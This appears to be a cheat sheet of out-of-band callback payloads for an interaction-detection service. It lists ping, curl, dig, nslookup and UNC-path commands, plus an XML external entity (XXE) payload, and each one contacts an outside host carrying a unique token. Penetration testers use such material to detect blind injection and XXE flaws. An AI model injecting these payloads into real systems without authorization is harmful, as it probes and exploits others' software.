$ ping -c1 -p 00b4e1d08a2d29bf220fa080c2b4e100 unhack.ca
 

$ curl http://unhack.ca/p/b4e1d08a2d29bf220fa080c2b4e1
 

$ dig b4e1d08a2d29bf220fa080c2b4e1 @unhack.ca
 

$ dig b4e1d08a2d29bf220fa080c2b4e1.ns.unhack.ca
 

C:\> nslookup b4e1d08a2d29bf220fa080c2b4e1 unhack.ca
 

C:\> type \\unhack.ca\b4e1d08a2d29bf220fa080c2b4e1\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b4e1d08a2d29bf220fa080c2b4e1">]>
    <foo>&xxe;</foo>